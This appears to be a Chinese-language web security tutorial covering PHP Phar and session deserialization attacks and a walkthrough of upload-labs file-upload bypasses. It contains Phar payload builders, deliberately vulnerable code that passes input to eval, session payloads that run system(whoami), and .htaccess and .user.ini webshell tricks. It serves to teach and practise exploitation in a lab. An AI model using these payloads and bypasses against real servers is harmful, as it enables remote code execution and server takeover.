在PHP中,POP链指的是通过反序列化过程中魔术方法的调用链,这些魔术方法可能包括__wakeup(), __destruct(), __toString(), __call()等. 通过精心设计的反序列化字符串,攻击者可能会触发这些魔术方法的连锁执行,从而可能导致代码执行、文件操作、数据库操作等潜在的危险行为. PHP的POP链攻击通常依赖于对象的内部状态和方法的定义来影响应用程序的行为. Java的Gadget: Java中的Gadget通常指的是在反序列化过程中可以被调用以执行某些操作的对象和方法组合. Java反序列化时,JVM会根据序列化数据中的描述来重建对象图,并在这个过程中可能会调用存在于序列化对象中的特殊方法,如readObject(), readResolve(), validateObject(), readExternal()等. 攻击者可以利用这些特殊方法来执行恶意行为,如远程代码执行.被恶意利用的这些类和方法组合被称为Gadget. 区别: 语言环境:POP链是属于PHP的安全问题,而Gadget是Java的概念. 攻击链:PHP的POP链是利用魔术方法的特性来形成的攻击链,而Java的Gadget通常是利用JVM在反序列化过程中调用特定方法的行为来形成攻击向量. 防御措施:虽然两者都需要谨慎处理用户的输入以及序列化和反序列化的数据,但具体的防御措施会有所不同.例如,Java中可能会使用lookAheadInput和validatingObjectInputStream,而PHP中则需要控制魔术方法的使用和访问权限,或者避免使用序列化存储用户输入的数据. 危险方法:在PHP中主要是魔术方法,而在Java中则是实现了序列化接口的类中的特殊方法. Phar反序列化 关于Phar反序列化漏洞,它发生的原因通常是因为Phar文件在被访问时,其元数据(metadata)会被自动反序列化.如果攻击者可以控制Phar文件的内容或元数据,他们可能会利用这个反序列化过程来执行恶意代码. Phar文件的元数据是在创建Phar时通过Phar::setMetadata()设置的,当Phar文件被访问时,比如通过phar://流封装协议,Phar文件内的元数据会被反序列化.如果元数据包含了恶意的序列化对象,而这个对象在反序列化时会调用可被利用的魔术方法(如__wakeup、__destruct、__toString),那么就可能触发一个漏洞. 什么是Phar PHAR(“Php ARchive”)是PHP类似于JAR的一种打包文件,在PHP 5.3或更高版本中默认开启,这个特性使得PHP也可以像Java一样方便地实现应用程序打包和组件化 一个应用程序可以打成一个Phar包,直接放到PHP-FPM中运行 Phar文件结构Phar文件是PHP中用于分发或部署整个PHP应用的一种方式,它可以包含必要的所有文件,如PHP代码、HTML模板、图像等.Phar文件的结构使得它可以在PHP中自包含,并且通常带有签名以验证其完整性. 以下是Phar文件的组成部分的详细说明: Stub: Stub是Phar文件的启动器(bootstrap)部分,它是一个PHP脚本,在Phar被执行时首先被运行.Stub通常用来设置Phar的运行环境或包含自动加载器. Stub的基本要求是它必须以特殊的__HALT_COMPILER();函数调用结束.这个函数会停止编译器的执行,从而允许将非PHP代码包含在同一个文件中. Stub的结构通常是这样的: 1<?php __HALT_COMPILER();?> 之后的数据可以是Phar文件的其它部分,但这个__HALT_COMPILER();之后的内容对PHP来说是不可执行的. Manifest: Manifest描述了Phar文件中包含的所有文件和元数据. 其中每个文件都会有一个相应的条目,条目中包含了文件的名称、大小、时间戳、压缩类型等信息. Meta-data部分存储了关于Phar自身的信息,以序列化的形式存储.如果存在反序列化漏洞,攻击者可以通过精心构造的meta-data来执行恶意代码. File Contents: 这部分包含了Phar文件中所有文件的实际内容. 文件内容可以是压缩的也可以是未压缩的,这取决于在创建Phar时的设置. Signature: 签名是用来验证Phar文件完整性的. Phar文件可以使用不同类型的签名,如SHA1或SHA256,以确保文件自创建以来没有被修改. 签名通常位于Phar文件的最后部分,Phar文件在被使用前会校验这个签名以确保安全. 当Phar文件被包含或直接执行时,PHP会按照这些部分的顺序来处理Phar文件.如果启用了Phar扩展,并设置了允许Phar文件的执行,PHP将按照Manifest中的信息加载文件,并执行Stub中的代码.如果Phar文件的签名验证失败,或者文件不完整,那么PHP将不会执行Phar文件. PHP内置了一个Phar类来处理相关操作 必须将PHP.INI中的phar.readonly选项设置为Off,否则无法生成Phar文件 12345678910111213141516171819202122<?php//反序列化payload构造class TestObject{}@unlink("phar.phar");//实例一个phar对象供后续操作,后缀名必须为phar$phar = new Phar("phar.phar");//开始缓冲对phar的写操作$phar->startBuffering();//设置识别phar拓展的标识stub,必须以 __HALT_COMPILER();$phar->setStub("<?php __HALT_COMPILER(); ?>");//将反序列化的对象放入该文件中$o = new TestObject();$o->data = 'It\\'s Bob';//将自定义的归档元数据meta-data存入manifest$phar->setMetadata($o);//phar本质上是个压缩包,所以要添加压缩的文件和文件内容$phar->addFromString("test.txt", "Bob");//停止缓冲对phar的写操作$phar->stopBuffering(); 我们用010将Phar打开,观察一下数据 可以明显的看到meta-data是以序列化的形式存储的. 有序列化数据必然会有反序列化操作,php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化,测试后受影响的函数如下: 受影响的函数列表 fileatime filectime file_exists file_get_contents file_put_contents file filegroup fopen fileinode filemtime fileowner fileperms is_dir is_executable is_file is_link is_readable is_writable is_writeable parse_ini_file copy unlink stat readfile 123456789<?php# 反序列化class TestObject{ function __destruct() { echo $this->data; }}include 'phar://phar.phar'; 可以看到已经成功的触发了反序列化 问题? 序列化:当您调用 $phar->setMetadata($o); 时,PHP将您的 $o 对象及其所有属性(在这个例子中是 data)序列化为一个字符串,并将这个字符串存储在Phar文件的元数据中.这个字符串包含了重建对象 $o 时所需要的所有信息. 反序列化:当您包含 phar://phar.phar 文件时,PHP Phar扩展会自动尝试反序列化存储在其中的所有元数据.这意味着,Phar文件中存储的序列化字符串会被转换回PHP对象. 现在,理解上述过程后,让我们来看看您的序列化和反序列化代码: 在序列化代码中,$o 是 TestObject 的一个实例,并且它有一个名为 data 的属性,这个属性被设置为字符串 'It\\'s Bob'. 在反序列化的脚本中,TestObject 类被定义了一个析构函数 __destruct(),它会在对象被销毁时自动调用,并输出 data 属性. 当您在第二个脚本中包含Phar文件时,Phar扩展会自动反序列化元数据,并创建一个新的 TestObject 对象.由于反序列化创建的对象具有与序列化期间相同的属性和值,它的 data 属性将包含 'It\\'s Bob'. 当脚本执行结束或者没有其他引用指向该对象时,新创建的 TestObject 对象会被销毁.对象被销毁时,它的 __destruct() 方法被调用,然后 echo $this->data; 语句执行,输出存储在 data 属性中的字符串. 这是两个完全独立的 TestObject 对象实例: 一个是在序列化时创建并存储在Phar文件中的; 一个是在反序列化时由Phar扩展自动创建的 反序列化的对象实例具有序列化对象实例相同的属性值.这就是为什么它能够输出序列化时设置的字符串的原因. 漏洞复现 环境准备 upload_file.php文件上传表单及后端检测上传的文件类型是否为gif,后缀名是否为gif file_vuln.php存在file_exists(),并且存在__destruct() 利用条件 phar文件要能够上传到服务器端 服务端需要有file_exists()、fopen()、file_get_contents()、file()等文件操作的函数 要有可用的魔术方法作为”跳板” 文件操作函数的参数可控,且:/,phar等关键字没有被过滤 1234567891011121314151617181920212223242526272829303132333435<?php// 检查是否有文件被上传if ($_SERVER['REQUEST_METHOD'] == 'POST' && isset($_FILES['file'])) { // 检查文件类型是否为GIF if ($_FILES["file"]["type"] == "image/gif" && pathinfo($_FILES["file"]["name"], PATHINFO_EXTENSION) == 'gif') { // 上传的文件信息 echo "Upload: " . $_FILES["file"]["name"] . "</br>"; echo "Type: " . $_FILES["file"]["type"] . "</br>"; echo "Temp file: " . $_FILES["file"]["tmp_name"] . "</br>"; // 检查是否已存在同名文件 if (file_exists("./" . $_FILES["file"]["name"])) { echo $_FILES["file"]["name"] . " already exists"; } else { // 移动文件到指定目录 if (move_uploaded_file($_FILES["file"]["tmp_name"], "./" . $_FILES["file"]["name"])) { echo "Stored in: " . "./" . $_FILES["file"]["name"]; } else { // 文件移动失败 echo 'Failed to upload the file'; } } } else { // 文件类型不符合要求 echo "Invalid file, you can only upload a GIF file"; }}?><!-- HTML表单用于文件上传 --><body> <form action="" method="post" enctype="multipart/form-data"> <label for="file">File:</label> <input type="file" name="file" id="file"> <!-- 文件选择输入框 --> <input type="submit" value="Upload"> <!-- 提交按钮 --> </form></body> file_vuln.php12345678910<?php$filename = $_GET['filename'];class AnyClass{ var $output = 'echo "ok";'; function __destruct() { eval($this->output); }}file_exists($filename); 先用payload生成一个phar.phar 12345678910111213141516171819202122<?phpclass AnyClass{}# 删除文件,确保开始前文件不存在,避免在创建新的phar文件时发生冲突.@unlink("phar.phar");//实例一个phar对象供后续操作,后缀名必须为phar$phar = new Phar("phar.phar");//开始缓冲对phar的写操作$phar->startBuffering();//设置识别phar拓展的标识stub,必须以 __HALT_COMPILER();$phar->setStub("<?php __HALT_COMPILER(); ?>");//将反序列化的对象放入该文件中$o = new AnyClass();$o->output = 'phpinfo();';//将自定义的归档元数据meta-data存入manifest$phar->setMetadata($o);//phar本质上是个压缩包,所以要添加压缩的文件和文件内容$phar->addFromString("test.txt", "lll");//停止缓冲对phar的写操作$phar->stopBuffering(); 将phar后缀名改为gif,然后通过文件上传传上去 通过file_vuln页面利用phar伪协议包含phar.gif造成反序列化漏洞 Phar反序列化的绕过压缩过滤器触发phar时解决phar://不能出现在首部的问题 这时我们可以利用compress.zlib://或compress.bzip2://函数 compress.zlib://或compress.bzip2://同样适用于phar:// payload:compress.zlib://phar://phar.phar/test.txt 1234compress.bzip://phar:///test.phar/test.txtcompress.bzip2://phar:///test.phar/test.txtcompress.zlib://phar:///home/sx/test.phar/test.txtphp://filter/resource=phar:///test.phar/test .txt PHP-Session反序化资料参考自 PHP在session存储和读取时,都会有一个序列化和反序列化的过程,PHP内置了多种处理器用于存取$_SESSION数据,都会对数据进行序列化和反序列化,PHP中的Session的实现是没有的问题的,漏洞主要是由于使用不同的引擎来处理session文件造成的 存在对$_SESSION变量赋值php引擎存储Session的格式为 php 键名 + 竖线 + 经过 serialize() 函数序列处理的值 php_serialize (PHP>5.5.4) 经过 serialize() 函数序列化处理的数组 如果程序使用两个引擎来分别处理的话就会出现问题。比如下面的例子,先使用php_serialize引擎来存储Session. sess_write.php123456789<?phperror_reporting(0);ini_set('session.serialize_handler','php_serialize');session_start();$_SESSION['username'] = $_GET['user'];echo "<pre>";var_dump($_SESSION);echo "</pre>";?> 接下来使用php引擎来读取Session文件 sess_read.php1234567891011<?phperror_reporting(0);ini_set('session.serialize_handler','php');session_start();class user{ var $name; function __wakeup(){ echo "hello ".$this->name." !" }}?> 漏洞的主要原因在于不同的引擎对于竖杠|的解析产生歧义。 对于php_serialize引擎来说|可能只是一个正常的字符;但对于php引擎来说|就是分隔符,前面是$_SESSION['username']的键名 ,后面是GET参数经过serialize序列化后的值。从而在解析的时候造成了歧义,导致其在解析Session文件时直接对|后的值进行反序列化处理。 可能有的人看到这里会有疑问,在使用php引擎读取Session文件时,为什么会自动对|后面的内容进行反序列化呢?也没看到反序列化unserialize函数。 这是因为使用了session_start()这个函数 ,看一下官方说明 https://www.php.net/session_start/https://www.php.net/session_start/ 可以看到PHP能自动反序列化数据的前提是,现有的会话数据是以特殊的序列化格式存储。 明白了漏洞的原理,也了解了反序列化漏洞的位置,现在来思考一下攻击思路 首先访问sess_write.php,在传入的参数最开始加一个|,由于sess_write.php是使用php_serialize引擎处理,因此只会把|当做一个正常的字符,然后访问sess_read.php,由于用的是php引擎,因此遇到|时会将其看做键名与值的分隔符,从而造成歧义,导致其在解析session文件时直接对|后的值进行反序列化处理 payload12345678910111213class student{ var $payload; function __wakeup() { return assert($this->payload); }}$a = new student();$a->payload = "system(whoami)";echo serialize($a);# result: O:7:"student":1:{s:7:"payload";s:14:"system(whoami)";} 攻击思路中说到了因为不同的引擎会对|,产生歧义,所以传参的时在payload前加个|,作为a参数 sess_write.php1234567error_reporting(0);ini_set('session.serialize_handler', 'php_serialize');session_start();$_SESSION['username'] = $_GET['n'];echo "<pre>";var_dump($_SESSION);echo "</pre>"; sess_read.php123456789101112error_reporting(0);ini_set('session.serialize_handler', 'php');session_start();class student{ var $payload; function __wakeup() { return assert($this->payload); }} PHP原生类的利用未完待续qaq"},{"title":"六. 文件上传","path":"/wiki/VulnerabilityInsightDocs/六. 文件上传.html","content":"总字符数: 46.48K 代码: 30.81K, 文本: 5.64K 预计阅读时间: 2.64 小时 环境下载地址: https://security-1258894728.cos.ap-beijing.myqcloud.com/TOP10/upload-labs-env.ziphttps://security-1258894728.cos.ap-beijing.myqcloud.com/TOP10/upload-labs-env.zip 文件上传漏洞介绍 ​\t文件上传漏洞通常由于网页代码中的文件上传路径变量过滤不严造成的,如果文件上传功能实现代码没有严格限制用户上传的文件后缀以及文件类型,攻击者可通过Web访问的目录上传任意文件,包括网站后门文件(WebShell),进而远程控制网站服务器. 文件上传1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798<?php// 获取当前 PHP 文件名$SELF_PAGE = substr($_SERVER['PHP_SELF'], strrpos($_SERVER['PHP_SELF'], '/') + 1);// 相对根目录路径$PIKA_ROOT_DIR = "../../";$html = '';// 文件上传处理函数function upload_client($key, $save_path) { // 文件上传错误码与对应错误消息的映射 $arr_errors = array( 1 => '上传的文件超过了 php.ini 中 upload_max_filesize 选项限制的值', 2 => '上传文件的大小超过了 HTML 表单中 MAX_FILE_SIZE 选项指定的值', 3 => '文件只有部分被上传', 4 => '没有文件被上传', 6 => '找不到临时文件夹', 7 => '文件写入失败' ); // 判断是否存在文件上传错误 if (!isset($_FILES[$key]['error'])) { $return_data['error'] = '请选择上传文件!'; $return_data['return'] = false; return $return_data; } // 判断文件上传过程中是否发生错误 if ($_FILES[$key]['error'] != 0) { $return_data['error'] = $arr_errors[$_FILES[$key]['error']]; $return_data['return'] = false; return $return_data; } // 新建保存文件的目录 if (!file_exists($save_path)) { if (!mkdir($save_path, 0777, true)) { $return_data['error'] = '上传文件保存目录创建失败,请检查权限!'; $return_data['return'] = false; return $return_data; } } // 给路径加个斜杠 $save_path = rtrim($save_path, '/') . '/'; // 移动上传的临时文件到指定目录 if (!move_uploaded_file($_FILES[$key]['tmp_name'], $save_path . $_FILES[$key]['name'])) { $return_data['error'] = '临时文件移动失败,请检查权限!'; $return_data['return'] = false; return $return_data; } // 上传成功,返回存储的路径和新的文件名(不暴露) $return_data['new_path'] = $save_path . $_FILES[$key]['name']; $return_data['return'] = true; return $return_data;}// 处理文件上传表单提交if (isset($_POST['submit'])) { // 指定在当前目录建立一个目录 $save_path = 'uploads'; // 调用文件上传处理函数 $upload = upload_client('uploadfile', $save_path); // 根据上传结果生成 HTML 内容 $html .= $upload['return'] ? "<p class='notice'>文件上传成功</p><p class='notice'>文件保存的路径为:{$upload['new_path']}</p>" : "<p class='notice'>{$upload['error']}</p>";}?><!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>文件上传</title></head><body> <h1>文件上传</h1> <div> <!-- 文件上传表单 --> <form method="post" enctype="multipart/form-data" action=""> <input type="file" name="uploadfile" onchange="checkFileExt(this.value)" /><br /> <input type="submit" name="submit" value="开始上传" /> </form> <!-- 显示上传结果 --> <?php echo $html; ?> </div></body></html> 文件上传漏洞原理​ 这种漏洞的本质是违反了数据与代码分离原则,攻击者上传可执行文件(如木马、病毒、恶意脚本或WebShell等),并使其在服务器上执行,最终获取对网站的控制权限. ​\t许多网站和应用系统都提供文件上传功能,但在实现时,开发者未对文件格式进行有效验证,或者仅在前端通过JavaScript进行了后缀检验. ​ 攻击者可以通过上传与网站脚本语言相对应的恶意代码文件(例如jsp、asp、php、aspx等文件)到服务器上,从而访问其中包含的恶意代码,动态解析并执行,对服务器安全造成影响. ​ 相比于其他安全漏洞如SQL注入或XSS,文件上传漏洞的风险更大.如果Web应用程序存在这种漏洞,攻击者上传的文件会被服务器的Web容器解释执行,导致恶意代码执行. ​ 这可能包括上传病毒、木马文件,诱骗用户或管理员下载执行.攻击者还可以上传钓鱼图片或包含脚本的图片,在某些浏览器中被视为脚本执行,用于进行钓鱼和欺诈.甚至,攻击者可以直接上传一个WebShell,完全控制系统或导致系统瘫痪. 文件上传漏洞成因 服务器的错误配置: 不正确的服务器配置可能导致对上传文件的处理存在漏洞,攻击者通过利用配置错误可以绕过安全措施. 开源编码器漏洞: 使用的开源编码器存在漏洞时,攻击者可以利用这些漏洞来上传恶意文件. 本地上传上限制不严格被绕过: 如果服务器对上传文件的大小限制不严格,攻击者可以通过上传大型文件来滥用服务器资源. 服务器端过滤不严格被绕过: 如果服务器对上传文件的类型或内容进行过滤时存在漏洞,攻击者可能通过构造特定的文件绕过过滤机制. 文件上传漏洞危害 上传恶意文件: 攻击者上传包含恶意代码的文件,例如木马、病毒、WebShell等,以执行后续攻击. getshell: 攻击者通过上传包含可执行代码的文件获取对服务器的控制权,进而实现getshell攻击. 控制服务器: 通过上传恶意文件,攻击者可以控制服务器,执行任意代码,修改或删除文件,甚至获取更高的系统权限. 执行任意代码: 成功上传可执行代码的攻击者可能利用这些代码执行各种恶意操作. 横向移动: 攻击者成功获取服务器权限后,可能通过横向移动在网络中进一步扩散,攻击其他系统,形成更大的威胁. 文件上传绕过方式 改变文件扩展名: 攻击者可以将恶意文件改变为一个合法的文件扩展名,比如将 .php 文件改为 .jpg 文件,然后上传到服务器.服务器通常只会根据文件扩展名来判断文件类型,因此攻击者可以绕过文件类型的检查. 使用 WebShell: WebShell 是一种常见的工具,攻击者可以使用它来上传恶意文件,因为 WebShell 通常会绕过服务器的文件类型检查.攻击者可以上传恶意代码,然后利用 WebShell 来执行恶意代码,从而获取系统权限. 绕过文件大小限制: 有时服务器会限制上传文件的大小,攻击者可以绕过这个限制,比如将大文件分割成多个小文件上传,或者使用一些工具来压缩文件大小,例如使用 GZIP. 绕过文件内容检查: 服务器通常会对上传的文件进行内容检查,以防止上传恶意代码,攻击者可以尝试绕过这个检查.例如,在文件中插入一些无害的代码或注释,以使文件看起来更合法. 利用漏洞: 某些服务器可能存在漏洞,攻击者可以利用这些漏洞来绕过文件上传检查.例如,一些服务器可能会允许上传文件,然后使用反向代理将文件转发到其他服务器,攻击者可以利用这个漏洞上传恶意文件. 文件上传漏洞防御系统运行时的防御 设置文件上传目录为不可执行: 将文件上传目录配置为不可执行,即使攻击者上传了脚本文件,服务器也不会执行它们,从而确保服务器安全. 判断文件类型: 在判断文件类型时,结合使用 MIME Type、后缀检查等方式.推荐使用白名单方式进行文件类型检查,避免使用黑名单方式.对于图片,可以使用压缩或者调整大小的函数,在处理图片的同时破坏可能包含的 HTML 代码. 使用随机数改写文件名和路径: 在文件上传时使用随机数改写文件名和路径,增加攻击的成本.攻击者上传的文件将变得无法直接访问,提高系统安全性. 单独设置文件服务器的域名: 将文件服务器的域名设置为独立的域名,通过同源策略防止一些客户端攻击,如上传包含 JavaScript 的 XSS 利用或上传 crossdomain.xml 文件等问题. 使用安全设备防御: 部署专业的安全设备,通过检测上传利用行为和恶意文件的上传过程来防御文件上传漏洞.安全设备可以对恶意文件进行检测和拦截,帮助提高系统的安全性. 系统开发阶段的防御 强化开发人员的安全意识: 开发人员在系统开发阶段应具备较强的安全意识,特别是使用 PHP 语言进行开发.对文件上传漏洞,应在客户端和服务器端对用户上传的文件名和文件路径等进行严格检查. 客户端检查和服务器端检查: 在客户端进行检查可以阻挡一些基本的试探,服务器端检查最好采用白名单过滤的方式,防止绕过大小写等方式进行攻击.同时对 %00 截断符和 HTTP 包头的 content-type 进行检查. 系统维护阶段的防御 强化运维人员的安全意识: 运维人员上线后应保持较强的安全意识,使用多个安全检测工具对系统进行定期扫描,及时发现并修复潜在漏洞. 定期查看系统日志: 定期查看系统日志,尤其是 web 服务器日志,以发现潜在的入侵痕迹.关注第三方插件的更新情况,及时更新版本或修补可能存在的安全漏洞. 系统自查和软件更新: 对于使用开源代码或框架搭建的网站,定期进行漏洞自查和软件版本更新.上传功能非必选的情况下可以考虑删除,配置服务器目录的执行权限,并合理配置服务器以提高整体安全性. 靶场复现第一关客户端检测绕过禁用JS上传成功 第二关MIME检测绕过代码分析123456789101112131415161718192021# 代码分析$is_upload = false;$msg = null;if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { // 检查数据包的MIME 如果不是MIME则会返回上传失败 if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) { $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name'] if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true; } else { $msg = '上传出错!'; } } else { $msg = '文件类型不正确,请重新上传!'; } } else { $msg = UPLOAD_PATH.'文件夹不存在,请手工创建!'; }} 解决方法 1# 将Content-Type: application/octet-stream改为Content-Type: image/png 第三关黑名单绕过代码分析12345678910111213141516171819202122232425262728293031$is_upload = false;$msg = null;if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array('.asp','.aspx','.php','.jsp'); $file_name = trim($_FILES['upload_file']['name']); // Start // 此区块的作用是获取后缀 $file_name = deldot($file_name);//删除文件名末尾的点 $file_ext = strrchr($file_name, '.'); //strrchr - 查找指定字符在字符串中的最后一次出现 $file_ext = strtolower($file_ext); //转换为小写 $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA $file_ext = trim($file_ext); //收尾去空 // END // in_array - 检查数组中是否存在某个值 // 判断文件后缀是否在黑名单内 if(!in_array($file_ext, $deny_ext)) { $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext; if (move_uploaded_file($temp_file,$img_path)) { $is_upload = true; } else { $msg = '上传出错!'; } } else { $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!'; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; }} 解决方法 第四关.htaccess绕过 .htaccess 是一种配置文件,用于在 Apache 服务器上配置网站的行为.它允许在特定目录中放置一个包含一系列指令的文件,以改变服务器的配置,实现诸如重定向、认证、缓存控制等功能. 代码分析12345678910111213141516171819202122232425262728// 黑名单$is_upload = false;$msg = null;if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini"); $file_name = trim($_FILES['upload_file']['name']); $file_name = deldot($file_name);//删除文件名末尾的点 $file_ext = strrchr($file_name, '.'); $file_ext = strtolower($file_ext); //转换为小写 $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA $file_ext = trim($file_ext); //收尾去空 if (!in_array($file_ext, $deny_ext)) { $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH.'/'.$file_name; if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true; } else { $msg = '上传出错!'; } } else { $msg = '此文件不允许上传!'; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; }} 解决方法虽然还是黑名单,但几乎过滤了所有有问题的后缀名,除了.htaccess,于是首先上传一个.htaccess内容如下的文件: 12# SetHandler application/x-httpd-php 是一个用于 Apache 服务器的指令,它告诉服务器如何处理指定文件的内容.具体而言,这个指令将文件的处理程序设置为 PHP 解释器,使得 Apache 将文件中的 PHP 代码解释为动态内容.SetHandler application/x-httpd-php 这样所有文件都会解析为PHP,然后再上传图片马,就可以解析. 第五关.user.ini绕过代码分析通过查看提示和文件源码发现,本pass将.php,.php5,.php4,.php3,.php2,.html,.htm,.phtml,.pht,.pHp,.pHp5,.pHp4,.pHp3,.pHp2,.Html,.Htm,.pHtml,.jsp,.jspa,.jspx,.jsw,.jsv,.jspf,.jtml,.jSp,.jSpx,.jSpa,.jSw,.jSv,.jSpf,.jHtml,.asp,.aspx,.asa,.asax,.ascx,.ashx,.asmx,.cer,.aSp,.aSpx,.aSa,.aSax,.aScx,.aShx,.aSmx,.cEr,.sWf,.swf以及.htaccess都过滤了,此处不能和pass04一样的技巧进行上传.htaccess文件进行绕过. 解决方法 补充知识: 配置文件 :php.ini 配置文件(php.ini)在 PHP 启动时被读取.对于服务器模块版本的 PHP,仅在 Web服务器启动时读取一次.对于 CGI 和 CLI 版本,每次调用都会读取. https://www.php.net/manual/zh/configuration.file.phphttps://www.php.net/manual/zh/configuration.file.php ​ PHP 在每个目录下扫描INI文件的机制是从被执行的 PHP 文件所在目录开始一直上升到Web根目录,除了主 php.ini 外.如果 PHP 文件在 web 根目录之外,则只扫描该目录.自 PHP 5.3.0 起,PHP 支持基于每个目录的 .htaccess 风格的 INI 文件,但只有CGI/Fastcgi sapi处理这类文件. ​ 两个关键的 INI 指令,user_ini.filename 和user_ini.cache_ttl,用于控制用户 INI 文件的使用.user_ini.filename 设定了 PHP 在每个目录下搜寻的文件名,设置为空字符串则停止搜寻,默认值是 .user.ini.user_ini.cache_ttl 控制重新读取用户 INI 文件的时间间隔,默认为 300 秒(5 分钟). ​ 在 .user.ini 风格的 INI 文件中,只有具有 PHP_INI_PERDIR 和 PHP_INI_USER 模式的 INI 设置可被识别.实际上,除了 PHP_INI_SYSTEM 以外的模式都可以通过 .user.ini 进行设置,而且 .user.ini 是一个能够动态加载的 INI 文件.因此,修改 .user.ini 后无需重启服务器中间件,只需等待 user_ini.cache_ttl 所设置的时间(默认为 300 秒),设置即可被重新加载. ​ 总的来说,.user.ini 实际上是用户可以自定义的 php.ini 文件,可用于自定义 PHP_INI_PERDIR 和 PHP_INI_USER 模式的设置.其中有两个配置可用于制造后门. 12auto_append_file ; # 指定一个文件,自动包含在要执行的文件前auto_prepend_file ; # 指定一个文件,自动包含在要执行的文件后 使用方法很简单,直接写在.user.ini中: 1auto_prepend_file=jiangjiyue.txt 或者 1auto_append_file=jiangjiyue.txt 新建一个文件名为.user.ini的文件,并将内容写为: auto_prepend_file=jiangjiyue.txt 将.user.ini上传至服务器 新建一个文件名为jiangjiyue.txt的文件,并将内容写为phpinfo或者webshell 1<?php phpinfo();?> 将jiangjiyue.txt上传至服务器 再访问上传目录下的readme.php,即可将jiangjiyue.txt内的内容脚本正常执行. 第六关大小写绕过代码分析123456789101112131415161718192021222324252627# 以下代码中没有用到strtolower()函数全部转换为小写,所以可以采用大小写绕过$is_upload = false;$msg = null;if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini"); $file_name = trim($_FILES['upload_file']['name']); $file_name = deldot($file_name);//删除文件名末尾的点 $file_ext = strrchr($file_name, '.'); $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA $file_ext = trim($file_ext); //首尾去空 if (!in_array($file_ext, $deny_ext)) { $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).strtolower($file_ext); if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true; } else { $msg = '上传出错!'; } } else { $msg = '此文件类型不允许上传!'; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; }} 解决方法大小写绕过jiangjiyue.PhP 第七关空格绕过代码分析12345678910111213141516171819202122232425262728# 没有过滤空格$is_upload = false;$msg = null;if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini"); $file_name = $_FILES['upload_file']['name']; $file_name = deldot($file_name);//删除文件名末尾的点 $file_ext = strrchr($file_name, '.'); $file_ext = strtolower($file_ext); //转换为小写 $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA // $file_ext = trim($file_ext); //首尾去空 if (!in_array($file_ext, $deny_ext)) { $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext; if (move_uploaded_file($temp_file,$img_path)) { $is_upload = true; } else { $msg = '上传出错!'; } } else { $msg = '此文件不允许上传'; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; }} 1234567891011121314151617181920212223242526# 以下代码是为了看上面代码运行后的结果,方便更好的绕过<?phpfunction deldot($s){ for ($i = strlen($s) - 1; $i > 0; $i--) { $c = substr($s, $i, 1); if ($i == strlen($s) - 1 and $c != '.') { return $s; } if ($c != '.') { return substr($s, 0, $i + 1); } }}$deny_ext = 